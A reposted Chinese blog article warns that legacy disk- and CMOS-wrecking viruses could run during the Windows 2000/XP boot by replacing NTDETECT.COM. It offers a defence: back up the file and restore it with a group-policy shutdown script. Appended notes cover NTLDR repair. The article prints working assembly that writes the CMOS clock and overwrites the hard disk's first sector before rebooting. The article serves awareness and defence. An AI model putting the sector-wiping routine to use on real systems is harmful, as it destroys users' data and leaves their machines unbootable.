老病毒再现新系统--警惕恶意代码死灰复燃,(NTDETECT.EXE,NTDETECT.COM)

时间:2005-5-14 作者:张云帆
    
 
       在DOS/Win3.x/Win9x时代,令人谈之色变的病毒数不胜数。有很多病毒具有能够破坏硬盘分区,篡改引导程序,毁坏CMOS数据的能力。它们轻则使磁盘的数据化为乌有,重则使系统无法识别分区,无法进入DOS或者Win9x,甚至还能让微机无法正常启动。不知道当年有多少用户,被臭名昭著的硬盘逻辑锁,CIH折腾得焦头烂额。
 
 
       然而,幸运的是,进入Win2000/XP/2003时代以后,由于系统是工作在保护模式之下的,对于一切调用BIOS中断功能以修改硬盘或者是直接对硬件端口进行操作的程序,系统都拒绝执行。比如说这样一个16位程序(名为test1.com,初始指令指针为0x100):
mov ax,301
mov bx,300
mov cx,9
mov dx,80
int 13
ret
(上面代码中的数据均为16进制数)
 
       它试图利用BIOS的磁盘控制中断功能直接对硬盘进行写操作,一旦在Win2000/XP/2003下运行,系统会弹出这一个错误信息。( 有兴趣的自己可以把文件保存成test.com,运行一下试试
                       
       此时,无论是点击“关闭”,还是点击“忽略”,这个程序对BIOS功能调用的尝试都会被系统强行终止。而在DOS/Win3.x/Win9x时代,那些破坏硬盘分区、篡改引导程序之类的病毒,往往会调用前文中test1.com所调用的磁盘控制BIOS功能。因此这些病毒如果直接运行在Win2000/XP/2003系统之上,它们将会无功而返。
 
       再比如,这样一个32位程序(名叫port.c用VC++编译后生成port.exe):
 
#include<stdio.h>
main()
{
   printf("It is only for test!/n");
        __asm
   {
          push eax
mov al,4
          out 0x70,al
          mov al,1
          out 0x71,al
          mov al,2
          out 0x70,al
          mov al,2
          out 0x71,al        
          mov al,0
          out 0x70,al
          mov al,3
          out 0x71,al
          pop eax
   }
return 0;
  
}
 
 
       它试图通过直接进行端口操作来修改CMOS的时间(如果运行成功,时间将被改为01:02:03)。一旦在Win2000/XP/2003下运行,系统会弹出这样一个报错提示。( 有兴趣的自己可以把文件保存成test.com,运行一下试试
 
       可以看出它试图修改CMOS的举动也同样被拒绝了。因此,那些在老系统中通过端口操作来毁坏CMOS数据的病毒在新系统下只能望“窗”兴叹了。
 
 
       看来这类直接破坏硬盘、CMOS的病毒在Win2000/XP/2003下真是过时了。而现在主流的操作系统正是Win2000/XP/2003,大家似乎不用再害怕这些DOS/Win3.x/Win9x病毒了。
 
 
       看到这儿一定会有人情不自禁地说:这些病毒老矣,没用了!不过别高兴的太早了!在特定的情况下,这些能够破坏硬盘、CMOS数据的病毒的功能可以再现于在Win2000/XP/2003系统,完成其害人的勾当。所以本文提醒大家:警惕这些病毒死灰复燃!
 
 
       那么读者一定会问,刚才不是说Win2000/XP/2003是工作在保护模式下的吗?怎么会怕这种能够破坏硬盘、CMOS数据的病毒呢?没错,在Win2000/XP/2003启动完成之后,的确工作在保护模式下,但在刚开始启动时有一个短暂的“危险期”。此时,Win2000/XP/2003会首先加载C:/Ntldr,加载完成后会出现供用户选择系统的画面(如果不是多系统,该画面会很快跳过)。
 
       当用户在自己选定的Win2000/XP/2003系统上按下回车后,系统会加载C:/NTDETECT.COM文件(如果不是多系统,则Windows不等用户按回车自动加载C:/NTDETECT.COM文件)。问题恰恰出在这里。在刚启动到如图3所示的时候,系统还没有进入保护模式,如果恶意破坏硬盘、CMOS数据的程序在这个时候运行,那用户就遭殃了。这绝非杞人忧天之虑,虽然这个时候无论是远程还是本地都无法随意运行程序,但是,如果用户新近上网时不慎被病毒用一个同样叫NTDETECT.COM的恶意程序覆盖了C盘下正常的NTDETECT.COM文件,那么当下次启动Windows,进入供用户选择系统的画面,选择了进入某个Win2000/XP/2003系统时,只要他一按回车,那个恶意的NTDETECT.COM就会运行。
 
 
      下面举个例子:
       比如说这样一个代码(设定初始指令指针为0x100):
lea bx,[300]
mov dl,2
mov cl,ff
mov dh,0
mov [bx],dh
inc bx
dec cl
cmp cl,0
jnz 108
dec dl
cmp dl,0
jnz 106
mov ax,301
mov bx,300
mov cx,1
mov dx,80
int 13
jmp ffff:0
ret
(上面程序中的数据均为16进制数)
 
 
       它试图用一些垃圾数据来覆盖硬盘最重要的扇区。如果用它生成了bin格式的可执行程序并且命名为NTDETECT.COM,并通过某种途径用此程序将正常的C:/NTDETECT.COM覆盖;那么启动时便会被加载,接下来系统会自动重启,之后用户就无法从硬盘启动,用其他介质启动也无法访问硬盘。
 
         如果含有直接破坏硬盘,修改CMOS数据之类的恶意代码的病毒用这样一种方法攻击系统,那么它们这些过了时的恶意代码便可以在Win2000/XP/2003系统下重出江湖了这个安全隐患虽然不明显,但绝对有可能带来毁灭性的后果。不过,常言道:魔高一尺、道高一丈,这种病毒再厉害也能对付它!
 
 
下面就介绍一种方法:
 
       首先,将正常的NTDETECT.COM备份在一个安全的目录下(这里将它备份在d:/tmp里)。
 
       然后用快捷键“Win”(“ctrl”与“alt”中间那个键)+“R”打开运行(或者开始-运行),并在其中输入gpedit.msc。回车确认后,“组策略”将被打开。 
选中“计算机配置”—> “Windows设置”—> “脚本(启动/关闭)”这一项,在右边双击“关机”,之后会出现图1:
 

                图 1 
选择添加,然后输入脚本名(此处是shut.bat)。
 

                图 2 
在出现图7时点“浏览”,再在出现的对话框中将文件类型选为所有类型,再右击对话框的空白处,新建一个文本文档(如图3)
 

                       图 3
 
再将新建文件命名为shut.bat,接下来右击shut.bat,选择编辑。之后按图4编辑shut.bat:
 

               图 4
 
最后保存退出。另外顺便说一下,在命名新建的文档文本(图3后面的操作)之前,一定要在“文件夹选项”—>“查看”中把
“隐藏已知文件类型扩展名”这一项前面的勾去掉(如图5)。
 

             图 5 
       这样一来,每次关机时系统都会用一个正常的NTDETECT.COM来覆盖C盘下的原文件。因此,即使用户在线时,正常的NTDETECT.COM被恶意代码所覆盖,关机时正常的程序会被还原,下次启动时就不存在恶意代码问题了。
 
 
      Win2000/XP/2003虽然工作在保护模式下,但依然会受到那些在DOS/Win3.x/Win9x时代病毒的威胁,死灰复燃的病毒仍旧具有很大的杀伤力,大家应该随时保持警惕。
 
 
后记:
       前一段时间,网上流行过一种名为:NTDETECT.EXE的病毒。这种病毒会进入C盘根目录并形成一个NTDETECT.EXE文件;而在默认情况下,Windows系统是不显示扩展名的(就是把NTDETECT.EXE以及NTDETECT.COM都显示为NTDETECT),如此一来,这个病毒就伪装成了系统文件(用户在C盘下会看到两个NTDETECT文件,NTDETECT.EXE就伪装成了NTDETECT.COM),那么在用户不知情的情况下,它被删除的概率就大大降低了。
 
 
       见到这个病毒,笔者不禁猜想:假如病毒不是用NTDETECT.EXE来伪装成NTDETECT.COM,而是用名为NTDETECT.COM的恶意代码直接覆盖了原有的NTDETECT.COM那会怎样呢?那后果真是不堪设想,所以笔者想通过本文来提醒大家。(作者单位  北京邮电大学电信工程学院)

 

今天发现自己的c:/目录下也有NTDETECT.EXE文件,就找到了这篇文章,留给大家参考。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
NTLDR文件是win nt/win200/WinXP的引导文件,当此文件丢失时启动系统会提示"NTLDR is missing..."并要求按任意键重启动,不能正确进入系统 。所以应该在系统正常的时候给予备份。 NTLDR文件是做什么的?我们如何来修复NTLDR文件类型的故障呢? NTLDR文件的是一个隐藏的,只读的系统文件,位置在系统盘的根目录,用来装载操作系统。 一般情况系统的引导过程是这样的: 代码 1、电源自检程序开始运行 2、主引导记录被装入内存,并且程序开始执行 3、活动分区的引导扇区被装入内存 4、NTLDR从引导扇区被装入并初始化 5、将处理器的实模式改为32位平滑内存模式 6、NTLDR开始运行适当的小文件系统驱动程序。 小文件系统驱动程序是建立在NTLDR内部的,它能读FAT或NTFS。 7、NTLDR读boot.ini文件 8、NTLDR装载所选操作系统 *如果NT/XP被选择,, NTLDR运行Ntdetect.com 对于其他的操作系统, NTLDR装载并运行Bootsect.dos然后向它传递控制。 windows NT过程结束。 9.Ntdetect.com 搜索计算机硬件并将列表传送给NTLDR,以便将这些信息写进HKE Y_LOCAL_MACHINEHARDWARE中。 10.然后NTLDR装载Ntoskrnl.exe,Hal.dll和系统信息集合。 11.Ntldr搜索系统信息集合,并装载设备驱动配置以便设备在启动时开始工作 12.Ntldr把控制权交给Ntoskrnl.exe,这时,启动程序结束,装载阶段开始 当此文件丢失时,我们可以从安装光盘上进行提取,方法是: 1、进入系统故障恢复控制台。 2、转到C盘。 3、输入"copy X:\I386\NTLDR c:\"(说明:X为光驱盘符)并回车, 如果系统提示要否覆盖则按下"Y",之后输入exit命令退出控制台重启动即可。 症状 当试图在一台运行 Microsoft Windows 95、Microsoft Windows 98 或 Microsoft Windows Millennium Edition (Me) 的计算机上安装 Windows XP 或者升级到 Windows XP 时,可能在安装过程中的第一次重启动后接收到下面的错误信息: NTLDR is missing Press any key to restart 此行为只有当 Windows 95、Windows 98 或者 Windows Me 安装于使用 FAT32 文件系统的大容量驱动器之上时才会出现。 原因 如果克隆现有的 Windows 95、Windows 98 或 Windows Me 的安装,然后应用于与克隆副本的源驱动器有不同布局的驱动器上,则可能发生此行为。 一种可能的情况如下所示:正在一个 4 GB 的驱动器上运行 Windows 98。在升级后,例如升级到一块 30 GB 的硬盘后,使用第三方磁盘映像实用程序对 Windows 98 安装进行镜像操作并应用镜像到驱动器上。在晚些时候,接着在 Windows 98 的克隆映像上安装 Windows XP 以升级到 Windows XP。 要发生此行为,则下面的条件必须存在: ? 系统/启动分区用 FAT32 文件系统格式化。 ? 计算机通过使用 INT-13 扩展(大于 7.8 GB 且分区表内有 0C 的 System-ID 类型的分区)启动。 ? 由于克隆过程,造成了 FAT32 BIOS Parameter Block (BPB) 中的头(边)值与物理驱动器的布局不匹配。 Windows 95、Windows 98 或者 Windows Me 启动代码忽略 BPB 中的头值,并且即使在值无效时仍启动程序。但是,Windows 2000 和 Windows XP 中的启动代码需要这个值,如果此值无效则启动过程不会成功。 解决方案 若要解决此问题,请改正 FAT32 BPB 中的无效头(边)值以使得 Windows XP 启动过程得以继续。更此字段最简单的方法是通过使用下面的过程重写 Windows 95、Windows 98 或者 Windows Me 的启动代码代码 一. 使用包含 Sys.com 文件(默认情况下包含此文件)的 Windows 95、Windows 98 或者 Windows Me 启动盘重启动计算机。 二. 在系统驱动器的根目录中制作 msdos.sys 文件的备份副本。为此,请从命令提示处键入下面的命令: attrib -h -r -s c:\msdos.sys rename msdos.sys *.sys 三. 在命令提示符
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值